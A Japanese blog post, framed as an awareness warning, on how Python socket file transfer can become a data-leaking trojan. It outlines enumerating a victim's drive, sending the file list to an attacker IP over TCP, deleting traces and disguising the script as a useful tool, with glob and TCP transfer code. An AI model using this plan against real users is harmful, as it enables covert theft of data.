【悪用厳禁】python socketファイル転送で情報漏洩ウイルスはすぐ作れてしまう

python

どうも、みやっちです。

最近「社畜」だと呼びづらいかな。と思ってきたので

ニックネームを付けてみました。気軽に呼んでください(‘ω’)ノ

 

以前以下の記事の中で、PythonでTCP通信を使ってファイルを転送する方法を紹介しました。

これって便利ではありますが、悪用しようと思えばいくらでも悪用できてしまいますよね。

今回は皆さんの身を守るために、socketファイル転送の悪用化された使い方を解説したいと思います

 

それではいきます。

python socketファイル転送で情報漏洩ウイルスが作れるのか

答えはyesです。

しかも割と簡単に作れてしまいます。

ただ、実際のコードを載せて悪用化されては元も子もないので、

基本流れと簡単なサンプルだけを解説しますので、「こういうリスクがある」ということを頭に置いていただき、

日常生活で身を守る防具にしてください!

全体的な流れ

今回は、「相手のC or Dドライブ以下のファイル情報を一覧として送付する」という例で解説します。

 


準備フェーズ
  1. C or Dドライブ以下の情報をtextファイルに書き出すスクリプトを書く
  2. TCPファイル転送スクリプトを作成し、特定のIPめがけて作成したtextファイルを送付できるようにする
  3. 終わったあとtextファイルを削除するスクリプトを書く

実行フェーズ
  1. ターゲットにpythonスクリプトを「別の名目」で送り、実行してもらう
  2. 本来数秒で終わる作業を、あたかも時間がかかっているかのようにみせ、その間に textファイル作成→送付までを完了させる

準備フェーズ

C or Dドライブ以下の情報をtextファイルに書き出すスクリプトを書く方法であれば、

globというモジュールを使えば、簡単に情報抽出ができます。

 

たとえば、Dドライブ以下にあるpdfファイルを再帰的に探索

であればこれだけで表示ができてしまいます

# -*- coding: utf-8 -*-
import glob

fnms = glob.glob('D:/**/*.pdf', recursive=True)
print(fnms)
for fname in fnms:
    print(fname)

TCPファイル転送スクリプトに関しては、前回記載した下記スクリプトを

一部修正すれば実現できます。

# -*- coding: utf-8 -*-
import socket
import datetime
import sys


def server(ip, port, ext):
    output_list = []
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(1)
        while True:
            conn, addr = s.accept()
            with conn:
                dt_now = datetime.datetime.now()
                fname = dt_now.strftime('%Y%m%d%H%M%S') + "_received." + ext
                with open(fname, mode="ab") as f:
                    while True:
                        data = conn.recv(1024)
                        if not data:
                            break
                        f.write(data)
                        conn.sendall(b'Received done')
                    exit()

def client(ip, port, fname):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((ip, port))
        try:
            with open(fname, mode='rb') as f:
                for line in f:
                    s.sendall(line)
                    data = s.recv(1024)
                print(repr(data.decode()))
        except:
            pass


if __name__ == "__main__":
    if (sys.argv[1] == "s"):
        server((sys.argv[2]), int(sys.argv[3]), sys.argv[4])
    if (sys.argv[1] == "c"):
        client((sys.argv[2]), int(sys.argv[3]), sys.argv[4])

  

実行フェーズ

これも一種のトロイの木馬となりますが、実行してもらう「名目」が大切で、

「あくまで他の便利な機能」として提供されてしまいます。

仕事を実施していく中での便利ツールをインストールしたつもりが、

実はその裏ではファイルの一覧を送付されていて、情報漏洩させられてた。

なんてことがありえます。。。(怖い)

 

Pythonを使う際にはちゃんと身元がはっきりしたスクリプトのみを使うようにしましょう!

最後は、結局エンジニアの倫理感が大切

Pythonは便利で強力なツールのため、本当になんでもできてしまいます。

でも、それゆえに凶悪兵器にもなりえてしまいます。

 

世の中、車だって、包丁だって、正しい使い方をすれば便利なものは

誤った使い方をしたら、凶悪兵器なのです。

 

結局最後は、使う人の倫理感です。

 

Pythonを制作した人も、拡張パッケージを制作した人も

我々エンジニア(使う側)が、倫理観の元適切な使い方をできると信じて作ってくれているわけですね。

 

正しい使い方で世の中に良いものを広めていきましょう!

そして悪いものは、知識を正しく知り身を守りましょう!

 

では、今回は以上になります。

 

質問はTwitterから受け付けていますので、お気軽にどうぞ

>>pythonで生き延びる社畜(@coin_python) | Twitter

ラジオ放送でもエンジニアについて熱く語っています。こちらもお楽しみください

>>社畜戦士のエンジニアを熱く語るラジオ | stand.fm

タイトルとURLをコピーしました